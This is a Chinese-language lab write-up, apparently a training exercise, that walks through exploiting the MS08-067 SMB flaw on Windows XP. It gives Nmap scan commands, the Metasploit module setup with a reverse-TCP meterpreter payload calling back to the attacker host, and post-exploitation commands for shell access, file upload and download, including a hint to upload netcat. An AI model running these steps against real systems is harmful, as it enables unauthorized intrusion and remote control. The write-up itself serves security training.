MS08-067远程溢出漏洞

CVE-2008-4250

Posted by Waldo on May 9, 2018

使用i春秋环境实验

实验环境

  • 操作机 :Kali 2017

  • 操作机IP:172.16.11.2

  • 目标机:Windows XP S2 中文版

  • 目标机IP:172.16.12.2

实验目的

  • 认知Windows远程溢出漏洞的危害

  • 知悉MS08-067漏洞的发现和验证过程

  • 学习Metasploit工具的使用

实验工具

Nmap:端口扫描探测工具,用于探测端口开放情况,本次使用其端口扫描和漏洞扫描功能

mestasploit:开源的渗透测试框架软件、综合型漏洞利用工具,本次实验使用其漏洞利用模块、meterpreter组件

实验内容

漏洞原理简述

MS08-067 漏洞是通过MSRPC over SMB通道调用Server程序中的NEtPathCanonicalize函数时触发的。

NetPathCanonicalize 函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中发生了栈缓冲区内存错误,造成可被利用实施远程代码执行。

实验步骤

第1步 漏洞探测

打开Kali终端,使用Nmap对目标机开放端口进行扫描

nmap  -sV -Pn 172.16.12.2

nmap_sV2.png

目标机开放了1351394453389端口,且目标机系统为Windows_XP。一想到XP或者2003系统的445端口开放,我们就能想到轰动一时的ms08-067。

我们使用nmap的漏洞扫描脚本查看漏洞是否可用

nmap -sV -Pn -p 445 --script smb-vuln-ms08-067.nse 172.16.12.2

nmap_vul.png

扫描结果VULNERABLE,可以利用

nmap漏扫脚本目录:/usr/share/nmap/script/ 可自行查看其它脚本

第2步 漏洞利用

终端内输入msfconsole打开 metasploite 命令行客户端,使用search命令查找ms08-067的漏洞利用模块

search ms08-067

使用use命令选择我们要使用的利用模块

msf_use.png

在运行该模块之前,一般需要设置相关选项,我们使用show options查看配置信息

msf_show01.png

需要设置目标地址,设置命令:

set RHOST 172.16.12.2

之后,选择载荷payload,也就是shellcode,此处我们选择回连至控制端shell的payload

set payload  windows/meterpreter/reverse_tcp

当然载荷也需要进行配置,所以我们选择渗透所用的载荷后,同样使用show options查看配置信息

show.png

配置中缺少本地主机 RHOST,设置一下

set LHOST 172.16.11.2

MS08-067 针对不同的系统可以选择不同的target,使用命令show targets可以看见支持的系统

targets.png

我们选择此次目标机的系统,编号10 set target 10

完成配置后,运行exploit,开始执行漏洞利用模块

exploit.png

成功获取来自目标主机的Session会话

第3步:Meterpreter常用命令

我们已经成功的获取Session会话了,接下来,我们使用meterpreter的一些常用基本功能

sysinfo

使用sysinfo命令可以查看目标系统的基本信息

sysinfo.png

route

route命令用于显示目标主机的路由信息,通常用来探测目标机的网络情况,有助于网络拓扑的构建

route.png

upload / download

Meterpreter的uploaddownload命令可以上传文件到目标机器上,或下载文件至本地 (图中1.txt为自己新建的文件,内容任意)

download.png

思考:利用上传我们可以干啥?比如上传netcat.exe文件

shell

shell 命令用于获取一个可以交互的shell,方便执行系统命令

shell.png

思考: 结合上传我们可以做很多有意思的事

实验结果分析与总结

通过本次实验,我们学习了从发现漏洞、到验证漏洞、再到利用漏洞这一整个过程,并初步学习了Metasploit这一工具的使用。后续我们会进一步探索其他漏洞,结合实例去学习MSF后渗透模块的知识

思考

  • 如果目标机的扫描结果是Win7系统,并且修补了MS08-067漏洞,该怎样去做?

  • 发现目标开启了3389,我们还有途径?